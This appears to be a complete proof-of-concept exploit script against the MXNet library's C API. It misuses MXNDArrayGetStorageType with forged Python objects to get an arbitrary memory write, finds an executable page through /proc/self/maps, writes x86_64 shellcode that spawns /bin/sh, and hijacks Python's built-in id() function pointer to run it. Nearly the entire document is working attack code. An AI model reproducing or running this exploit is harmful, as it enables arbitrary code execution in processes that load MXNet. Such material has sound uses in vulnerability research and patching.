Python
python

#!/usr/bin/env python3

'''

    MXNet Unsafe Pointer Usage Exploit




    Payload:

        write(1, "Exploit Successful!\n", 0x14);

        execve("/bin/sh", ["/bin/sh"], NULL)

'''

import ctypes

from struct import pack, unpack

import mxnet as mx





def sizeof(obj):

    '''

        Determine the size of a Python object in memory

        Source: https://github.com/DavidBuchanan314/unsafe-python

    '''

    return type(obj).__sizeof__(obj)




def w64(addr, val):

    '''

        Write 64 bytes to an address in memory. Note that because we have a

        4 byte write, we have to write twice to put a QWORD into memory.

    '''

    print(f'[w]\t\tw64({hex(addr)}, {hex(val)})')

    fake_object1 = b'A' * 0x10 + b'\0' * 0x40 + pack('<Q', val)  + pack('<Q', val)

    fake_object_addr1 = id(fake_object1) + sizeof(b'')-1

    mx.base._LIB.MXNDArrayGetStorageType(

            ctypes.c_void_p(fake_object_addr1),

            ctypes.c_void_p(addr))

    mx.base._LIB.MXNDArrayGetStorageType(

            ctypes.c_void_p(fake_object_addr1+4),

            ctypes.c_void_p(addr+4))




if __name__ == '__main__':

    print(f'{"*"*8} MXNet Unsafe Pointer Usage Exploit {"*"*8}')

    RWX_ADDR = 0

    with open('/proc/self/maps','r', encoding="utf-8") as fd:

        for line in fd.read().split('\n'):

            if 'rwx' in line:

                RWX_ADDR = int('0x' + line.split('-')[0], 0x10)

    print(f'[+]\tderived RWX_ADDR: {hex(RWX_ADDR)}')

    RWX_ADDR += 0x800

    print(f'[+]\tset RWX_ADDR  += 0x800 (halfway through page): {hex(RWX_ADDR)}')




    # shellcode obtained from Binary Ninja's Shellcode Compiler

    # scc x86_64 / linux

    # void main() {

    #     write(1, "Exploit Successful!\n", 0x14);

    #     interactive_sh();

    # }

    SHELLCODE = b'\x48\x8b\xec\x4c\x8d\x0d\x12\x00\x00\x00\x49\x8d\x31\x6a\x01\x58' +\

                b'\x33\xff\x6a\x14\x5a\x0f\x05\xe9\x15\x00\x00\x00\x45\x78\x70\x6c' +\

                b'\x6f\x69\x74\x20\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x21\x0a' +\

                b'\x00\x90\x90\x90\x90\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62' +\

                b'\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48' +\

                b'\x89\xe6\xb0\x3b\x0f\x05'

    SHELLCODE += b'\x00' * ((8-len(SHELLCODE) % 8)) # pad to 8 bytes

    print(f'[+]\tWriting shellcode to {hex(RWX_ADDR)}')

    for i in range(0, len(SHELLCODE), 8):

        v = unpack('<Q', SHELLCODE[i:i+8])[0]

        sc_addr = RWX_ADDR+i

        w64(sc_addr, v)

    print('[+]\tShellcode written!')




    print('[+]\tDeriving address of Python3 builting function id...')

    id_addr = id(id)+0x30




    print('[+]\tOverwriting id() function pointer with address to shellcode...')

    w64(id_addr, RWX_ADDR)




    print('[+]\tTriggering the exploit!')

    id(1)